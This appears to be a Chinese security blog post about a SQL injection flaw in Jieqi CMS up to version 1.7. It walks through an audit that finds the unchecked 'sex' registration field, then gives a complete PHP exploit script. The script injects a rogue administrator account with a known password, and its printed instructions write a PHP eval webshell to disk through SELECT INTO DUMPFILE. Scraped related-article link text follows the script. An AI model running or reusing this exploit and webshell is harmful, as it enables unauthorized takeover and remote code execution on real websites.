杰奇CMS ( Jieqi CMS) 是一套以小说系统为主的CMS,目前的最新版本是1.7,在小说类的站中使用率还是比较高的,这几天花了点时间看了一下他的代码,觉得挺有意思的,跟大家分享一下。

整个系统核心代码是zend加密的,dezend之后看了一下。先从最几率最大的select型注入看起,但是发现所有地方GET过去的参数,最后都会带入\lib\database\database.php中组合SQL语句,再带入到jieqimysqldatabase类(\lib\database\mysql\db.php)的query方法进行最后的执行。

仔细查看后发现不可利用,因为如果是数字型的变量,带入到database.php时会进行is_numeric检查;如果是字符串型会进行\转义,尝试了宽字节注入,但很可惜的是dp.php中有一句“character_set_client=binary”,也就是说php程序在与mysql交互的时候使用二进制字符集查询,瞬间绝望了。

再留意了一下,发现程序中并没有转码的操作,所以宽字节注入这条路就彻底不行了。

这是一个不好的信号,因为程序中基本上所有的字符串型都会进行转义操作,我就不可能跳出魔术引号了。

又黑盒看了一下,后台的一个地方会显示用户留言时的IP,IP是插在数据库中的,于是考虑了一下能不能伪造IP,看看能否利用来注入或者xss。

分析之后得出获取IP函数是jieqi_userip (/global.php),采用HTTP_CLIENT_IP的方式来获取的,可以伪造,但很蛋疼的是jieqi_userip在获取了IP之后会把小数点替换为空,再进行is_numeric判断 - - || ,又白高兴了。

接着找了一下xss,1.7没有找到xss,1.6有几个反射型xss。

再接再厉,又看了一下其他一些地方,但都没太大的突破,最后看到注册那一块的时候,发现了一些问题。

处理注册的页面是/register.php,post过去的参数有username、password、repassword、email、sex、qq、url、action,跟了一下,发现是这样一个流程:依次带入到/regcheck.php中检查username是否合法,username是否重复,password是否等于repassword,email是否合法,email是否重复。也就是说sex、qq、url并没有进行检查,但是qq和url在数据库中是varchar型,cms会把这两个参数当字符串处理,也就是说如果出现单引号的话会进行转义,前面已经说过了,无法跳出魔术引号。

很幸运的是,程序猿百密一疏,天真的认为sex在前台是以单选框显示出来的,只有0、1、2这三种可能性,所以没进行is_numeric判断,直接带入到数据库中,那么就可以利用了。

总结一下,通过这几天的审计,我觉得其实那个作者安全意识挺高的,对于常见安全性问题都做了相应的防范,在一次次发现我想到的地方作者也想到了而失望的同时,也挺佩服作者的安全意识的,希望作者在看到本文时能及时修补。另外,以上的个人分析如果有什么不足的地方还望各位大牛补充,如果大家发现了1.7版本其他的一些问题或者是其他更好的后台get webshell的方法,请告诉我一声,共同交流,共同进步,thx :)

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 5);

function http_send($host, $packet, $port){

$sock = fsockopen($host, $port);

while (!$sock){

print "\n[-] No response from {$host}:$port Trying again...";

$sock = fsockopen($host, $port);

}

fputs($sock, $packet);

while (!feof($sock)) $resp .= fread($sock, 1024);

fclose($sock);

print $resp;

return $resp;

}

print_r('

+---------------------------------------------------------------------------+

|   Jieqi CMS Add Manager [version <=1.7]                                        |

+---------------------------------------------------------------------------+

|   By   : 蓝孩(b1u3b0y)                                                    |

|   Team : MyClover.Org        && Insight-Labs.Org                                    |

|   Date : 2012.3.25                                                              |

|   Blog : hi.baidu.com/b1ueb0y                                                |

+---------------------------------------------------------------------------+

');

if ($argc < 4)

{

print "\nUsage......: php $argv[0] host port path\n";

print "\nExample....: php $argv[0] localhost 80 /\n";

die();

}

$host = $argv[1];

$port = $argv[2];

$path = $argv[3];

$payload  = "username=asd123s&password=imnothack&repassword=imnothack&email=12sds2fg@QQ.COM&sex=9,'asd34sadsa@QQ.COM','',0,0,'','','','','','','','',1332592733,0,0,0,1,0,0,0,0,10,10,0,0,0,0,0,0,0,0),(0, 0, 'b1u3b0y', 'b1u3b0y', '2eb429c676681a7bf5ae8702aa768363', 2, 1332592733, 'H', 9, 'hello@myclover.org', '', 0, 0, '', '', '', '', '', '', '', '', 1332592733, 0, 0, 0, 1, 0, 0, 0, 0, 10, 10, 0, 0, 0,0, 0, 0, 0, 0)#&qq=&url=&action=newuser&submit=%CC%E1+%BD%BB\r\n";

$packet = "POST {$path}register.php?do=submit HTTP/1.1\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Cookie: jieqiVisitInfo=jieqiUserLogin%3D1332488363%2CjieqiUserId%3D1; PHPSESSID=ho4u03ebnlq6cl6vlg1t2kbjg2";

$packet .= "Connection: close\r\n\r\n";

$packet .= $payload;

http_send($host, $packet, $port);

print_r('

+---------------------------------------------------------------------------+

[+] Add manager successful?  Please check it yourself!

[ ] Default URL: http://localhost/admin

[ ] username = b1u3b0y

[ ] password = lanhai

+---------------------------------------------------------------------------+

[+] Get Webshell (mysql用户需要file_priv权限)

[ ] [系统工具] -> [系统信息]  (Get Path)

[ ] [数据维护] -> [数据库升级]

[ ] 执行 [ select concat(char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)) into dumpfile \'C:\\\\wwwroot\\\\1.php\' ]

[ ] http://localhost/1.php (password:cmd)

+---------------------------------------------------------------------------+

');

?>

jieqi(杰奇)cms v1.6 php代码执行0day漏洞,杰奇CMS (=1.7) SQL注入漏洞 - 网站漏洞 - iick's blog...相关推荐

  1. 堆栈 cookie 检测代码检测到基于堆栈的缓冲区溢出_漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day...

     漏洞公告:  华硕(ASUS) RT系列是由华硕(ASUS)发布的针对家庭用户的中高端无线路由器,市场占用率比较高. 华硕路由器(ASUS)提供Web服务的组件存在一个设计缺陷:存在缓冲区溢出问题, ...

  2. mysql中的day(0_MySQL代码执行0-day漏洞 可本地提权

    摘自:Frebuff.com 来自波兰的安全研究人员Dawid  Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包 ...

  3. php定时执行代码漏洞_在CTF比赛中发现的PHP远程代码执行0day漏洞

    众所周知,CTF比赛都是人为构造漏洞环境,人为制造安全漏洞,供安全从爱好者研究,好磨练和增强自己的安全技能. 参加CTF比赛,通常你需要明白出题人的想法,按照出题人的意图来解开谜题. 但是,就像所有的 ...

  4. TP5 框架 SQL 执行流程分析及 5.0.9 SQL 注入漏洞分析

    文章目录 SQL查询流程 TP 5.0.9 SQL注入 修复 SQL查询流程 TP5手册:https://www.kancloud.cn/manual/thinkphp5/118044 在分析 tp5 ...

  5. sql注入php文件包含,phpshe v1.1多处SQL注入文件包含漏洞

    时间:2013-04-22来源:源码库 作者:源码库 文章热度: ℃ 发布日期:2013-04.16 发布作者:Kn1f3 漏洞类型:SQL注入 漏洞描述: 0×00 整体大概参数传输 //commo ...

  6. 怎么修复网站漏洞 骑士cms的漏洞修复方案

    骑士CMS是国内公司开发的一套开源人才网站系统,使用PHP语言开发以及mysql数据库的架构,2019年1月份被某安全组织检测出漏洞,目前最新版本4.2存在高危网站漏洞,通杀SQL注入漏洞,利用该网站 ...

  7. ecshop 2.x/3.x sql注入/任意代码执行漏洞

    影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中di ...

  8. windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告

    0x00 漏洞概述 CVE   ID CVE-2020-1350 时     间 2020-07-15 类     型 RCE 等     级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...

  9. mysql 5 可执行漏洞_漏洞预警:MySQL 0-day代码执行漏洞 可本地提权

    来自波兰的安全研究人员Dawid Golunski刚刚发现了两个MySQL的0-day漏洞,影响到所有版本分支.默认配置的MySQL服务器(5.7.5.6和5.5),包括最新版本.攻击者可以远程和本地 ...

最新文章

  1. 枚举很好用啊,为啥阿里不建议返回值用枚举?
  2. import 别名_python中的import、from import以及import as的区别
  3. UGUI组件之ScrollRect 组件简单笔记(Scroll View)
  4. mysql 数据库还原后没有_MySQL数据库的备份还原至最新状态
  5. Service Request Account field in CRM and C4C
  6. 创建oracle数据库表空间并分配用户
  7. 某公司数据恢复报告书
  8. perl大骆驼和小骆驼_你好骆驼:自动文件传输
  9. C语言加强学习营(二):定义整型的最大值和最小值
  10. atoi函数_每日干货丨C语言中的字符串处理库函数介绍与实现
  11. websockert后台定时向前端发送状态_(文末送书)手把手教你打造属于自己团队的前端小报系统...
  12. MTK:GPIO的配置与接口说明
  13. 机器学习-西瓜书、南瓜书第五章
  14. OpenStack版本发布周期或将延长为1年
  15. Bean property 'preFix' is not writable or has an invalid setter method
  16. ASP.NET MVC 2 正式发布
  17. android仿微信红包动画,如何在Android中实现一个硬币转动微信红包动画效果
  18. SmartUpload问题
  19. 远程连接VirtualBox 虚拟机
  20. 基于微信小程序的wifi模块使用

热门文章

  1. 腾讯购康盛,站长有啥好处?
  2. 中国Spark技术峰会(上):Spark与生态圈中组件结合实战
  3. java克隆 是否节省内存_Java编程时如何节省内存,效率高
  4. python 3.10.2 的傻瓜式安装教程(附环境安装和配置教程)
  5. SQL注入--基于联合查询的POST注入
  6. 斯蒂文斯理工学院计算机科学硕士,美国史蒂文斯理工学院计算机科学专业申请(附案例)...
  7. vpwm的控制变频_第三章 VVF控制与PWM方法.ppt
  8. AI设计师“鲁班”进化史:每秒制作8000张双11海报,没有一张雷同!
  9. 常用纹理和纹理压缩格式
  10. 为什么在WORD中插入图片时,只显示图片最下面一小部分